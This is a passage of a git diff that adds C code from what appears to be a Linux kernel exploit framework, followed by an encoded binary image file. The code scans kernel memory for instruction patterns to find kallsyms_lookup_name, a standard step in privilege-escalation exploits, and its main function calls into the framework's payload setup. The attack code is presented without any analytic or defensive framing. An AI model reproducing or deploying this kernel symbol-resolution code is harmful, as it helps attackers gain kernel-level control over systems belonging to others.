(mem[i+4] == 0x00 || mem[i+4] == 0xff) && mem[i+5] == 0x85 && mem[i+6] == 0xc0) { + // now look for the jnz / mov / jmp sequence +#ifdef __x86_64__ + if (mem[i+7] == 0x75 && mem[i+9] == 0x48 && mem[i+17] == 0xeb) +#else + if (mem[i+7] == 0x75 && mem[i+9] == 0x8b && mem[i+16] == 0xeb) +#endif + return true; + } + } + + return false; +} + +static inline unsigned long get_function_address(unsigned char *mem, unsigned long len, unsigned long addr) +{ + unsigned long startidx = addr - (unsigned long)mem; + unsigned long i; + + for (i = startidx; i > startidx - 0x100; i--) { +#ifdef __x86_64__ + if (!memcmp(&mem[i], "\x55\x48\x89\xe5", 4)) +#else + if (!memcmp(&mem[i], "\x55\x89\xe5", 3) || !memcmp(&mem[i], "\x55\x89\xc5", 3)) +#endif + return (unsigned long)mem + i; + } + + return 0UL; +} + +static inline unsigned long find_kallsyms_lookup_name(unsigned char *mem, unsigned long len, unsigned long addr) +{ + unsigned long startidx = addr - (unsigned long)mem - 0x2000; + unsigned long endidx = addr - (unsigned long)mem + 0x2000; + unsigned long i; + + for (i = startidx; i < endidx; i++) { + if (mem[i] == 0xe8 && get_call_target((unsigned long)mem + i) == addr) { + // found a call to kallsyms_expand_symbol + if (call_to_function_pointer_nearby(mem, len, (unsigned long)mem + i + 5)) + continue; + if (!has_return_value_checking_call_nearby(mem, len, (unsigned long)mem + i + 5)) + continue; + return get_function_address(mem, len, (unsigned long)mem + i); + } + } + + return 0UL; +} + +static unsigned long get_kallsyms_lookup_name(void) +{ + unsigned char *base; + unsigned long len; + unsigned long start_string; + unsigned long start_string_ref; + unsigned long kallsyms_lookup_call; + unsigned long kallsyms_lookup; + unsigned long kallsyms_expand_symbol; + unsigned long kallsyms_lookup_name_func; + int i; + +#ifdef __x86_64__ + find_kernel_ranges(); +#else + /* hack for now */ + valid_ranges[0][0] = KERNEL_BASE + 0x01000000; + valid_ranges[0][1] = valid_ranges[0][0] + (1024 * 1024 * 16); +#endif + + if (!valid_ranges[0][0] || !valid_ranges[0][1]) + return 0UL; + start_string = find_starting_string(); + if (!start_string) + return 0UL; + start_string_ref = find_reference_to_starting_string(start_string); + if (!start_string_ref) + return 0UL; + for (i = 0; i < NUM_RANGES; i++) { + if (start_string_ref >= valid_ranges[i][0] && start_string_ref < valid_ranges[i][1]) { + base = (unsigned char *)valid_ranges[i][0]; + len = valid_ranges[i][1] - valid_ranges[i][0]; + break; + } + } + kallsyms_lookup_call = find_call_to_kallsyms_lookup(base, len, start_string_ref); + if (!kallsyms_lookup_call) + return 0UL; + kallsyms_lookup = get_call_target(kallsyms_lookup_call); + kallsyms_expand_symbol = find_kallsyms_expand_symbol(base, len, kallsyms_lookup); + if (!kallsyms_expand_symbol) + return 0UL; + kallsyms_lookup_name_func = find_kallsyms_lookup_name(base, len, kallsyms_expand_symbol); + + return kallsyms_lookup_name_func; +} + +int main(void) +{ + exp_state.run_from_main = 1; + pa__init(NULL); + return 0; +} diff --git a/funny.jpg b/funny.jpg new file mode 100644 index 0000000000000000000000000000000000000000..bd90316bf26fe5ad86e8ac19de063a92a3b0f10b GIT binary patch literal 67332 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 